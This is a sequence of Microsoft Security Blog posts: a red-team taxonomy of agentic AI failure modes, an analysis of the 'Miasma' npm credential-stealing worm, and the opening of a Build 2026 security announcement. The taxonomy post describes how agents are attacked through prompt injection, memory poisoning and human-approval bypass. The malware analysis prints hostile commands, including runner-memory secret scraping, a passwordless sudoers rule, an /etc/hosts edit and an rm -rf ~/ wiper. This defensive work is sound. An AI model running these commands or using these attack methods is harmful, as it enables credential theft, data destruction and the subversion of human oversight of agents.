Microsoft

In this article

1. Why the Taxonomy Needed Updating
2. Seven new failure modes
3. Operational findings: What red teaming showed
4. New mitigations
5. What to do this quarter

When the Microsoft AI Red Team published the Taxonomy of Failure Modes in Agentic AI Systems in April 2025, the goal was a shared vocabulary for a threat landscape that did not fit existing frameworks. The v1.0 taxonomy was largely forward-looking, built on practitioner interviews, cross-company threat modeling, and our own early operational experience. It identified novel failure modes unique to agentic systems (agent compromise, injection, impersonation, flow manipulation) alongside existing failure modes materially amplified in agentic contexts (memory poisoning, cross-domain prompt injection, human-in-the-loop bypass). 

Twelve months later, the evidence base has shifted enough to warrant a v2.0. The update adds seven new failure mode categories, expands the mitigations section, and grounds the framework in 12 months of red team engagements against deployed agentic systems.

Why the Taxonomy Needed Updating

Four developments drove the revision. 

Open-source agentic frameworks went mainstream faster than the security community was ready for. OpenClaw, launched in January 2026, accumulated over 336,000 GitHub stars and spawned more than 2,100 agents within 48 hours of release. A security audit conducted shortly after launch identified 512 vulnerabilities including CVE-2026-25253, a one-click RCE via WebSocket hijacking. Over 1,800 exposed instances were leaking API keys and credentials within the first week, and 336 malicious plugins were found in the skills marketplace, including credential stealers masquerading as trading bots. 

The MCP ecosystem matured — and accumulated vulnerabilities at scale. The Model Context Protocol became the de facto standard for connecting models to external tools. In 2025, 99 CVEs were published for MCP-related software, and tool poisoning moved from theoretical risk to live attack surface. 

Computer-use agents moved from research to production. Agents that observe and interact with graphical interfaces introduce attack surfaces with no analogue in earlier AI security work, and expose previously human-targeted attack patterns to LLMs. The original taxonomy lacked dedicated coverage for this capability class; operational experience made clear it requires its own category. 

Twelve months of red team operations provided empirical grounding. The v1.0 taxonomy was forward-looking. The v2.0 update is grounded in patterns observed across real engagements with findings that confirmed some predictions, falsified others, and surfaced failure modes that were not anticipated. 

Seven new failure modes

1. Agentic Supply Chain Compromise. Agentic systems consume plugin registries, MCP servers, prompt templates, and third-party tool integrations, each a new supply chain ingestion point. Unlike traditional supply chain compromise, which delivers malicious code, a compromised agentic supply chain component injects natural-language instructions that alter agent behavior without touching any binary. This is a novel failure mode: the attack surface did not exist before agents began consuming natural-language tool definitions from third-party registries. 

2. Goal Hijacking. The original taxonomy covered agent compromise but did not sufficiently distinguish the mechanism of compromise from the strategic objective of redirecting the agent’s goal state. Goal hijacking captures a specific pattern, when adversarial instructions that appear aligned with legitimate task completion silently redirecting the agent’s terminal goal, without fully compromising the underlying agent. 

3. Inter-Agent Trust Escalation. Multi-agent architectures involve delegation chains where orchestrators pass tasks to other agents. This entry addresses privilege escalation that becomes possible when a compromised agent asserts false identity or inflates claimed permissions to an orchestrator that does not independently verify them. The pattern mirrors confused deputy problems in traditional software, but the confusion is induced through natural language rather than system calls. 

4. Computer Use Agent (CUA) Visual Attack. Agents operating through graphical interfaces can be manipulated through visual content that appears innocuous to humans but carries adversarial instructions for the agent. Attack patterns include hidden text rendered at non-human-readable scale, UI elements positioned outside the visible viewport, and images embedding prompt injection in content the agent is instructed to interpret. This failure mode has no meaningful precedent in v1.0. 

5. Session Context Contamination. Agentic sessions often span extended, multi-step interactions with context accumulating from prior steps. Session context contamination occurs when an adversary introduces data early in a session that biases the agent’s reasoning in subsequent steps, without triggering safety controls at any individual step. 

6. MCP / Plugin Abuse. The original taxonomy’s coverage of function compromise predated standardization around MCP and plugin protocols. This entry captures attack surfaces specific to those protocols: tool description poisoning, server-side instruction injection, cross-server instruction override (a malicious server overriding behavior of trusted servers), and abuse of protocol-level trust assumptions. 

7. Capability / Architecture Disclosure. This failure mode occurs when an agent reveals internal implementation details such as tool names and schemas, system-prompt structure, memory interfaces, or consent/HitL trigger logic, either on direct request or via paths such as XPIA. In single-turn chat, prompt leakage is mostly reputational. In agentic systems, it exposes operational primitives and turns black-box probing into a white-box exploit path. 

Operational findings: What red teaming showed

Twelve months of engagements against deployed agentic systems produced several consistent patterns. 

HitL bypass was the most consistently exploited failure mode, at very high frequency. Red teamers achieved bypass through consent fatigue, manipulation of probabilistic invocation, and incremental escalation chains where no individual step clearly warranted review but the compound outcome did. Most significantly, several engagements demonstrated zero-click end-to-end chains starting from an external input with no human interaction beyond the initial agent invocation, achieving high-impact outcomes such as exfiltration or lateral movement. 

XPIA and memory poisoning were observed at high frequency and frequently combined. Cross-domain prompt injection delivered via external content remained the most reliable initial access vector. Memory poisoning via XPIA, where injected instructions seed the agent’s persistent memory for later retrieval, requires only a single successful injection, which the agent then propagates across subsequent sessions. 

Session context contamination and incremental escalation were highly effective and difficult to detect. Neither the contaminating input nor any individual escalation step is clearly anomalous in isolation. Detection requires behavioral analysis across the full session, something most systems did not have. 

Capability disclosure was a key enabler of follow-on attack paths. In many of our highest-impact attack chains, execution was predicated on extracting specific architecture or capability details from the system. This often required only asking the system directly, but it consistently exposed inconsistencies in guardrails and opened attack paths that would otherwise have required external reconnaissance. 

New mitigations

Supply chain security for agentic components. Treat every external component an agent can consume as part of the software supply chain. SBOM generation for agent deployments inclusive of tool dependencies; signature and provenance verification for MCP servers and plugins before installation; registry scanning for hidden instructions in tool descriptions; version pinning with change monitoring for all external tool definitions. 

Zero-trust inter-agent architecture. For high-risk scenarios, agent identity should be cryptographically established, not assumed from position in a workflow. Every inter-agent message should carry a verifiable identity claim. Orchestrators should not grant elevated permissions to sub-agents based on self-asserted role. 

Consent architecture hardening. HitL controls must resist the specific patterns observed in red team operations: compound action decomposition before approval presentation, semantic summarization of agent-constructed descriptions to prevent description laundering, tiered approval requirements that scale with action reversibility and blast radius, deterministic HitL invocation, and anomaly detection on approval request frequency and pattern. 

Adversarial session hardening. Mitigating session context contamination requires treating the agent’s accumulated context as a security-relevant data structure. Controls include context provenance tracking, structured separation between trusted system context and untrusted retrieved content, session integrity monitoring for anomalous accumulation patterns, and bounded session contexts that limit how much external content can influence a session’s reasoning. 

What to do this quarter

If you operate or defend an agentic system, the v2.0 additions translate to four concrete actions: 

• Inventory your supply chain. Generate an SBOM for every deployed agent that includes plugins, MCP servers, prompt templates, and tool descriptions alongside code dependencies. Pin versions; treat natural-language tool descriptions as code. 

• Verify agent identity cryptographically, not positionally. Issue attestable credentials at provisioning. Reject self-asserted role claims at orchestrator handoffs. 

• Add the seven new categories to your red-team coverage matrix. Treat CUA visual attacks, session context contamination, capability disclosure, and goal hijacking as mandatory test classes for any agent that touches production data or external surfaces. 

• Audit human-in-the-loop UX as a security control. Decompose compound actions, summarize approval prompts from the underlying tool calls (not from the agent’s own description), tier approvals by reversibility, and monitor approval frequency for consent-fatigue exploitation signals. 

If you are building agentic systems, the updated taxonomy is a threat modeling tool, not a compliance checklist. Take each failure mode category and ask whether it can occur in your system, under what conditions, and whether you have a control that would detect or prevent it. 

For red teamers: the seven new categories should be mandatory coverage areas. Zero-click HitL bypass chains, inter-agent trust escalation, and session context contamination will not be surfaced by model-level evaluation alone. They require system-level testing and multi-step attack chains evaluated across complete task flows. 

For security engineers: supply chain and zero-trust mitigations are architectural decisions, and difficult to retrofit. Building SBOM generation, tool provenance verification, and inter-agent authentication into your architecture from the start costs substantially less than adding them after deployment. 

The taxonomy is a living document. The failure modes added in v2.0 are the ones that twelve months of operational data made compelling enough to include. As agentic systems acquire new capabilities — persistent cross-session memory at scale, autonomous agent spawning, physical environment interaction — the failure mode surface will continue to expand. We will continue to update the taxonomy as the evidence base develops. 

The updated whitepaper is available now. We welcome engagement from practitioners whose operational experience identifies failure modes or attack patterns not yet reflected in the taxonomy. 

The post Updating the taxonomy of failure modes in agentic AI systems: What a year of red teaming taught us  appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
2. Mitigation and protection guidance
3. Learn more

Microsoft Threat Intelligence identified a large-scale npm supply chain attack affecting 32 maliciously modified packages across more than 90 versions under the @redhat-cloud-services npm scope. The compromise originated from the upstream RedHatInsights/javascript-clients Continuous Integration and Continuous Delivery (CI/CD) pipeline, allowing attackers to publish trojanized packages through the legitimate GitHub Actions OpenID Connect (OIDC) publishing workflow. As a result, the malicious packages carried authentic provenance signatures while embedding the campaign marker “Miasma: The Spreading Blight.”

Once installed, the trojanized packages triggered an npm preinstall hook that executed a heavily obfuscated 4.29 MB dropper script. Through multiple layers of obfuscation and encryption, the malware downloaded the Bun JavaScript runtime and launched a secondary payload designed to harvest credentials from GitHub, npm, Amazon Web Service (AWS), Azure, Google Cloud Platform (GCP), HashiCorp Vault, Kubernetes, and developer systems. The malware also attempted to propagate by compromising additional maintainer packages and, in some scenarios, could destroy the maintainer’s home directory.

The payload operated across Linux, macOS, and Windows by dynamically downloading the correct Bun runtime for each platform, although Linux CI/CD runners appeared to be the primary target. On developer systems, the malware stole Secure Shell (SSH) keys, command-line interface (CLI) credentials, browser and wallet data, while in CI/CD environments it scraped GitHub Actions runner memory for secrets, escalated privileges using passwordless sudo, and republished poisoned packages with forged Supply-chain Levels for Software Artifacts (SLSA) provenance to continue downstream propagation. Microsoft shared its findings with the npm team, leading to the removal of affected repositories and the implementation of additional protections on the @redhat-cloud-services namespace to prevent unauthorized publishing.

Attack chain overview Figure 1. End-to-end attack chain from the hijacked trusted-publisher flow through credential theft, exfiltration, and worm propagation across maintainers.

At a high level, the malware payload progresses through 10 phases:

• Delivery and execution: The infection begins automatically during npm install, where the malicious preinstall hook executes node index.js without requiring user interaction.
• Staged unpacking: The payload is unpacked through multiple decoding layers, including several ROT (rotate)-based obfuscation variants followed by AES-128-GCM decryption. The malware then downloads the Bun runtime and detonates the final payload.
• Environment gating: The malware validates the execution environment before continuing. It terminates execution on systems configured with few regions in locale settings and can optionally restrict execution to CI/CD environments only.
• Defense evasion: The malware attempts to neutralize security controls
• Credential access: The malware harvests secrets and authentication tokens from GitHub, npm, major cloud providers, HashiCorp Vault, and Kubernetes environments, including scraping sensitive data directly from CI runner process memory.
• Privilege escalation: It installs a passwordless sudo rule to obtain elevated privileges and maintain deeper system control.
• Persistence: The malware continuously monitors stolen tokens and prepares secondary-stage payload deployment for long-term access.
• Exfiltration: Stolen data is transmitted using three separate command-and-control (C2) channels, including abuse of GitHub infrastructure as an exfiltration mechanism.
• Self-propagation: The malware republishes packages owned by the compromised maintainer using forged provenance metadata, effectively allowing the threat to spread like a worm across trusted package ecosystems.
• Destructive tripwire: If the malware detects interaction with a planted decoy token, it triggers a destructive fail-safe command (rm -rf ~/) intended to wipe the victim’s home directory.

The payload replaces the legitimate index.js with a single-line obfuscated script.

Obfuscation

Stage 0 – Malicious preinstall trigger: The attack begins in package.json, where a weaponized preinstall hook automatically executes during npm install, allowing the malware to run through both direct and transitive dependency installation. The modified packages also replaced the original index.js while leaving source-map metadata unchanged, indicating probable release-pipeline tampering.

Figure 2. The weaponized package.json. The preinstall hook runs the 4.29 MB index.js dropper automatically on install.

Stage 1 – Multi-layer JavaScript obfuscation: The 4.29 MB index.js dropper uses layered obfuscation, beginning with a large character-code array reconstructed at runtime, decoded through a ROT-XX (Caesar cipher) transformation, and dynamically executed via eval().

Figure 3. The ROT-XX character-code outer wrapper.

Stage 2 – AES-encrypted payloads and Bun runtime abuse: The next layer decrypts two AES-128-GCM encrypted blobs: one downloads the Bun runtime from official Bun infrastructure, while the second contains the primary payload. The malware then executes the payload via Bun, creating an unusual process chain (node → shell → bun → payload) designed to evade Node-focused monitoring and detections.

Figure 4. AES-128-GCM decryption of the two embedded blobs and the Bun-based second-stage execution.

Stage 3 – Obfuscator.io string-array protection: The Bun-executed payload is additionally protected using Obfuscator.io techniques, including rotated string arrays, decoder functions, and hundreds of alias wrappers that conceal nearly every string and identifier from static analysis.

Figure 5. Static resolution of the obfuscator.io string array.

Stage 4 – Custom cryptographic string cipher: Sensitive strings remain protected behind a bespoke encryption routine that derives keys using PBKDF2-HMAC-SHA-256 with 200,000 iterations, followed by multiple SHA-256-seeded permutation and XOR stages, significantly complicating reverse engineering and static extraction.

Figure 6. The custom PBKDF2(200,000)+permutation cipher and the recovered plaintext constants. Credential theft

The payload targets secrets across multiple providers:

• GitHub: Validates token/scopes, enumerates repos, reads Actions/org secrets, uses GraphQL for branch/history, and steals ACTIONS_RUNTIME_TOKEN + ACTIONS_ID_TOKEN_REQUEST_TOKEN.
• npm: Validates via /-/whoami, exchanges OIDC token for publish rights, and searches maintainer-owned packages for poisoning targets.
• AWS: Pulls Identity and Access Management (IAM) credentials via Instance Metadata Service (IMDS) and Elastic Container Service (ECS) metadata, plus Secrets Manager access.
• Azure: Collects IMDS OAuth2 tokens for management.azure.com, graph.microsoft.com, and Key Vault (*.vault.azure.net).
• GCP: Harvests metadata.google.internal service-account tokens, Secret Manager, and Resource Manager access.
• Vault/K8s: Probes Vault (127.0.0.1:8200) across many token paths; reads Kubernetes Service Account (SA) token and namespace secrets.
• CI & Local : Steals CIRCLE_TOKEN; exfiltrates secrets from SSH/AWS/npm/PyPI/git/env/gcloud/kube/docker, browser data, and wallet files (*.wallet, wallet.dat).

Figure 7. The multi-platform credential harvester recovered from the decrypted payload. Runner memory scraping

The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following:

// Locates Runner.Worker PID via /proc 'findRunnerWorkerPIDLinux' // Scans /proc//cmdline for "Runner.Worker" // Extracts secrets from process memory tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u

This activity bypasses normal secret masking by reading secrets directly from runner process memory.

Privilege escalation

The payload performs the following actions to escalate its privileges:

• Injects sudoers rule through bind mount: echo ‘runner ALL=(ALL) NOPASSWD:ALL’ > /mnt/runner
• Modifies /etc/hosts for DNS redirection

// Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt echo 'runner ALL=(ALL) NOPASSWD:ALL' > && chmod 0440 /mnt/runner // Neutralize Security product monitoring sudo sh -c "echo '127.0.0.1 ' >> /etc/hosts" // Validates sudo access before operations sudo -n true Exfiltration

The malware abuses GitHub and victim-owned assets instead of a single easy-to-block C2 endpoint:

Channel A (victim-owned repo drop): Creates a public repo in the victim’s GitHub account (“Miasma: The Spreading Blight”) and commits stolen credential JSON to results/<timestamp>-<counter>.json. Repo names are randomized (adjective-creature-<0–99999>), spreading indicators.

Channel B (code propagation): Injects its own source as .github/setup.js into non-protected branches across victim-owned repos via Git Data API (blob → tree → commit → ref update). Skips protected/default branches and common bot/release branches; uses chore: update dependencies [skip ci] with spoofed github-actions@github.com.

Channel C (dormant HTTPS sender): Includes a disabled POST path to api.anthropic.com:443/v1/api (noop: true in this sample). The same domain is used to validate stolen Anthropic keys (for example, ~/.claude.json), indicating a swappable live exfiltration path.

C2 is not tied to one account; it rotates across a pool of 16 attacker-controlled GitHub accounts per session. Stolen tokens are double-Base64 encoded in transit, and traffic is masked with python-requests/2.31.0 user-agent spoofing

Propagation and persistence

The malware spreads across repositories while maintaining access through credential theft, supply-chain forgery, and destructive safeguards:

• Enumerates /user/repos and /user/orgs to spread into additional repositories
• Installs Bun runtime, executes second-stage payload using bun run .claude/
• Deploys token monitor for ongoing credential capture
• Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate
• Plants a decoy honeytoken (IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner); triggering/revoking it can invoke a wiper routine (rm -rf ~/ and ~/Documents)

Impact and blast radius

This attack has a wide blast radius, affecting packages, credentials, and downstream systems.

• Direct compromise of @ redhat-cloud-services packages with broad ecosystem adoption
• Amplification through downstream dependencies into thousands of projects
• Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access
• SLSA provenance forgery erodes trust in supply chain attestation frameworks

Campaign scope

Our investigation uncovered the following affected packages and versions.

Package (@redhat-cloud-services/…)Malicious versionstypes3.6.1, 3.6.2, 3.6.4frontend-components-utilities7.4.1, 7.4.2, 7.4.4frontend-components7.7.2, 7.7.3, 7.7.5rbac-client9.0.3, 9.0.4, 9.0.6javascript-clients-shared2.0.8, 2.0.9, 2.0.11frontend-components-config-utilities4.11.2, 4.11.3, 4.11.5frontend-components-notifications6.9.2, 6.9.3, 6.9.5tsc-transform-imports1.2.2, 1.2.4, 1.2.6frontend-components-config6.11.3, 6.11.4, 6.11.6eslint-config-redhat-cloud-services3.2.1, 3.2.2, 3.2.4host-inventory-client5.0.3, 5.0.4, 5.0.6rule-components4.7.2, 4.7.3, 4.7.5frontend-components-remediations4.9.2, 4.9.3, 4.9.5frontend-components-translations4.4.1, 4.4.2, 4.4.4vulnerabilities-client2.1.9, 2.1.11frontend-components-advisor-components3.8.2, 3.8.4, 3.8.6entitlements-client4.0.11, 4.0.12, 4.0.14chrome2.3.1, 2.3.2, 2.3.4notifications-client6.1.4, 6.1.5, 6.1.7compliance-client4.0.3, 4.0.4, 4.0.6sources-client3.0.10, 3.0.11, 3.0.13integrations-client6.0.4, 6.0.5, 6.0.7frontend-components-testing1.2.1, 1.2.2, 1.2.4remediations-client4.0.4, 4.0.5, 4.0.7insights-client4.0.4, 4.0.5, 4.0.7topological-inventory-client3.0.10, 3.0.11, 3.0.13config-manager-client5.0.4, 5.0.5, 5.0.7hcc-pf-mcp0.6.1, 0.6.2, 0.6.4quickstarts-client4.0.11, 4.0.12, 4.0.14patch-client4.0.4, 4.0.5, 4.0.7hcc-feo-mcp0.3.1, 0.3.2, 0.3.4hcc-kessel-mcp0.3.1, 0.3.2, 0.3.4 Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Review dependency trees for direct or transitive usage of affected @ redhat-cloud-services / packages.
• Identify systems that installed or built affected package versions during the suspected exposure window.
• Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
• Disable pre- and post-installation script execution by ensuring you run npm install with –ignore-scripts.
• While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
• Audit organization and personal GitHub account for public repositories with the description “Miasma: The Spreading Blight” or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.
• Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.
• Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
• Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments. Use Microsoft Defender Vulnerability Management to search for redhat-cloud-services packages across your estate.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverageInitial access / ExecutionSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
– Trojan:JS/ShaiWorm.DAW!MTB
– Trojan:JS/ObfusNpmJs

Microsoft Defender for Endpoint
– Suspicious Node.js process behavior – Suspicious installation of Bun runtime

Microsoft Defender XDR:
– Suspicious file creation in temporary directory by node.exe
– Suspicious Bun execution from Node.js process

Execution / Defense evasionFour-layer obfuscation (ROT XX)  → AES-128-GCM → string-array → custom cipher); Bun runtime download and execution to move off Node.js; process lineage node → sh → bun to evade detectionMicrosoft Defender for Endpoint  
– Suspicious usage of Bun runtime  
– Suspicious installation of Bun runtime
– Suspicious Node.js process behavior
– Suspicious script execution via Bun  

Microsoft Defender for Cloud  
– Suspicious supply-chain compromise activity detectedCredential accessMulti-platform harvester targeting GitHub, npm, AWS IMDS/ECS, Azure IMDS, GCP, Vault, K8s, CircleCI; runner process-memory scraping to unmask secrets; anthropic API key theftMicrosoft Defender for Endpoint  
– Credential access attempt
– Kubernetes secrets enumeration indicative of credential access  
Microsoft Defender for Cloud  
– Sha1-Hulud Campaign Detected: Possible command injection to exfiltrate credentials  

Microsoft Defender for Identity  
– Anomalous token request patterns  
– Suspicious enumeration of organizational secretsExfiltrationPublic GitHub repo creation under victim’s account with stolen credential JSON; Git Data API commits to non-protected branches; domain-sender fallback to (dormant) api.anthropic.comMicrosoft Defender for Cloud Apps  
– Suspicious GitHub API activity (repo creation, commit patterns)  
– Unusual data volume in commits  
– Authentication from unusual IP/location  Impact / Worm propagationnpm OIDC token exchange republishing; forged Sigstore/SLSA provenance; self-injection (.github/setup.js) into victim repos on non-protected branchesMicrosoft Defender for Cloud Apps  
– Suspicious npm package republish via OIDC   – Anomalous use of bypass_2fa parameter  
– Packages publish from unusual location/time     Microsoft Defender XDR Threat analytics

Microsoft Defender XDR customers can reference the Threat analytics report for this campaign in the Microsoft Defender portal at https://security.microsoft.com/threatanalytics3 for the latest indicators, recommended actions, and mitigation status across their estate. 

Advanced hunting

The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply-chain compromise.

Bun execution from temporary directories

DeviceProcessEvents | where FileName == "bun" or ProcessCommandLine has "bun run" | where FolderPath startswith "/tmp/" or FolderPath startswith @"C:\Users\*\AppData\Local\Temp" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, FolderPath, AccountName | sort by Timestamp desc

Bun execution from temporary directory (CloudProcessEvents)

CloudProcessEvents | where Timestamp > ago(7d) | where ProcessName =~ "bun" or ProcessCommandLine has "bun run" | where FolderPath startswith "/tmp/" or ProcessCommandLine matches regex @"/tmp/[^ ]*bun" | project Timestamp, TenantId, AzureResourceId, KubernetesNamespace, KubernetesPodName, ContainerName, ContainerImageName, ContainerId, AccountName, ProcessName, FolderPath, ParentProcessName, ProcessCommandLine, UpperLayer = tostring(AdditionalFields.UpperLayer), DriftAction = tostring(AdditionalFields.DriftAction), Memfd = tostring(AdditionalFields.Memfd) | sort by Timestamp desc

Bun download activity

CloudProcessEvents | where Timestamp > ago(7d) | where ProcessName in~ ("curl","wget") | where ProcessCommandLine matches regex @"https?://[^\s""']*?(github\.com/oven-sh/bun/releases|release-assets\.githubusercontent\.com/[^\s""']*?bun-(linux|darwin|windows)|/bun-(linux|darwin|windows)-(x64|aarch64|arm64)\.zip)" | extend BunUrl = extract( @"(https?://[^\s""']*?(?:github\.com/oven-sh/bun/releases|release-assets\.githubusercontent\.com/[^\s""']*?bun-(?:linux|darwin|windows)|/bun-(?:linux|darwin|windows)-(?:x64|aarch64|arm64)\.zip)[^\s""']*)", 1, ProcessCommandLine), OutputPath = extract(@"-[oO]\s+[""']?(\S+?)[""']?(\s|$)", 1, ProcessCommandLine) | project Timestamp, TenantId, AzureResourceId, KubernetesNamespace, KubernetesPodName, ContainerImageName, ContainerId, ProcessName, ParentProcessName, ParentProcessId, BunUrl, OutputPath, ProcessCommandLine, UpperLayer = tostring(AdditionalFields.UpperLayer) | sort by Timestamp desc

npm → Node → Bun process chain

DeviceProcessEvents | where InitiatingProcessFileName in ("node", "node.exe") | where FileName == "bun" or FileName == "bun.exe" | join kind=inner ( DeviceProcessEvents | where InitiatingProcessFileName in ("npm", "npm.cmd") | where FileName in ("node", "node.exe") ) on DeviceId, $left.InitiatingProcessId == $right.ProcessId | project Timestamp, DeviceName, AccountName, NpmCommandLine = ProcessCommandLine1, BunCommandLine = ProcessCommandLine

Cloud metadata endpoint access from build processes

DeviceNetworkEvents | where RemoteIP in ("169.254.169.254", "169.254.170.2") | where InitiatingProcessFileName in ("node", "node.exe", "bun", "bun.exe") | project Timestamp, DeviceName, RemoteIP, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine

GitHub repository creation activity

CloudAppEvents | where ActionType == "CreateRepository" or RawEventName == "repo.create" | where Application == "GitHub" | where AccountType == "ServiceAccount" or ActorType has "Integration" | project Timestamp, AccountDisplayName, ActionType, RawEventName, IPAddress, City, CountryCode

Process memory access (runner scraping)

DeviceProcessEvents | where FileName == "grep" | where ProcessCommandLine has_all ("value", "isSecret\":true")

npm token enumeration

DeviceNetworkEvents | where RemoteUrl has "registry.npmjs.org/-/npm/v1/tokens" or RemoteUrl has "registry.npmjs.org/-/whoami" | project Timestamp, DeviceName, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine

Linux CI runner detection (process tree)

# For Linux runners not managed by Defender, use these shell commands: # Detect: npm preinstall spawning bun from /tmp ps aux | grep -E '/tmp/b-[a-z0-9]+/bun' # Detect: payload writes to /tmp/p*.js inotifywait -m /tmp -e create | grep '^/tmp/p.*\.js$' Indicators of compromise (IOC) IndicatorTypeDescription@ redhat-cloud-servicesPackage scope  All packages maintained by the @redhat-cloud-service account were compromised.Index.jsFile nameMalicious script or dropped file396cac9e457ec54ff6d3f6311cb5cc1da8054d019ce3ffa1de5741506c7a4ea4Sha256Index.js (from redhat-cloud-services/remediations-client)d8d170af3de17bb9b217c52aaaffdf9395f35ef015a57ef676e406c121e5e223Sha256index.js (from @redhat-cloud-services/frontend-components-advisor-components-3.8.2)f0641e053e81f0d01fa46db35a83e0a34494886503086866d956d14e81fd3e1cSha256index.js (from @redhat-cloud-services/hcc-kessel-mcp-0.3.4)d5a97614d5319ce9c8e01fa0b4eb06fb5b9e54fa13b23d718174a1546444123bSha256index.js (from @redhat-cloud-services/frontend-components-testing-1.2.4)f88258e21592084a2f93a572ade8f9b91c0cd0e242f5cf6121ed7bad0f7bdd1fSha256index.js (from @redhat-cloud-services/frontend-components-notifications-6.9.3)25e121e3b7d300c0d0075b33e5eca39a3e6a659fb9cfee52b70ef71686628f1bSha256index.js (from @redhat-cloud-services/chrome-2.3.4) Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 

The post Preinstall to persistence: Inside the Red Hat npm Miasma credential-stealing campaign appeared first on Microsoft Security Blog.

In this article

1. Secure your code
2. Secure your agents
3. Trust agents with your data
4. Secure your models
5. Trust starts with security

Today, developers and security teams are caught in growing tension. AI is accelerating development and introducing new issues around insecure code, opaque models, data exposure, and compliance. Add the challenges of shadow AI and tool sprawl and the result is a widening gap between innovation and control. As developers move faster, security teams struggle to keep up with visibility, governance, and oversight. The resulting friction across the development lifecycle is forcing a tradeoff between speed and safety that doesn’t need to exist. Security needs to move upstream to become part of how developers actually work: built into their day-to-day tools and connected to the tools security teams use.

At Microsoft Build 2026, we are announcing new security tools and capabilities to give developers clear guidance in real time, scale with the complexity of tasks, and provide security teams with a consistent view across the full lifecycle so innovation can move fast and securely without the business losing control. Learn more about our solutions to help secure your code, secure your agents, and secure your models.

Secure your code

Today’s headlines reflect the tension around the power of AI models and the potential threat they pose when used to find and exploit vulnerabilities. It is forcing a shift as security teams look for solutions to help them safely harness the power of these models. At the same time, developers want to use these same models to efficiently identify real, exploitable risk and remediate it within their flow of work. That’s why we developed the Microsoft Security multi-model agentic scanning harness (codename MDASH) and added native integration between Microsoft Defender and GitHub Code Security (part of the former GitHub Advanced Security suite) to help both security and developer teams identify and close gaps early.

Discover and validate exploitable vulnerabilities with codename MDASH

The new Microsoft Security multi-model agentic scanning harness (codename MDASH) is available in an expanded preview for eligible organizations and now includes integration with Microsoft Defender. This new agentic security system orchestrates a pipeline of more than 100 specialized AI agents using an ensemble of models to discover, validate, and prove exploitability across codebases written in popular programming languages.

This approach is unique in the industry. Our multi-model agentic scanning harness uses a configurable panel of models, ranging from state-of-the-art (SOTA) models as the heavy reasoners, to more cost-effective models for high-volume operations. This allows us to trade speed, recall, and cost, and minimize dependency on any specific model.

The combination of multiple models, hundreds of agents, and over 100 trillion signals a day helps identify real risk over theoretical noise, to help teams focus on what can be exploited. The strategic implication is clear: AI vulnerability discovery has crossed from research curiosity into production-grade defense at enterprise scale, and the durable advantage lies in the agentic system around the model rather than any single model itself. MDASH recently jumped roughly 10% in less than three weeks to a new CyberGym industry benchmark score of 96.55%.

“At Accenture, we’re always looking toward the next frontier in protecting our clients and our enterprise. What Microsoft is building with MDASH reflects a meaningful shift from reactive, rule-based scanning to agentic systems that can reason across complex codebases like a skilled security researcher,” says Kris Burkhardt, Chief Information Security Officer at Accenture. Accenture is one of a select group of Security partners and Microsoft Intelligent Security Association (MISA) members that are engaged in the preview to shape MDASH and accelerate agentic AI vulnerability discovery.

Our partner engagements reflect a shared focus on moving from reactive detection to proactive identification of exploitable risk. “We’re seeing cyber threats evolve rapidly, with AI accelerating both the scale and sophistication of attacks. Microsoft’s investment in MDASH reflects a strong commitment to helping organizations stay ahead of this curve. Based on our early discussions and exposure to the innovation, we see strong potential for MDASH to simplify and strengthen SecOps, helping organizations operate with greater resilience and confidence,” says Morgan Adamski, Principal and Deputy Platform Leader of Cyber, Data, and Tech Risk at PwC US.

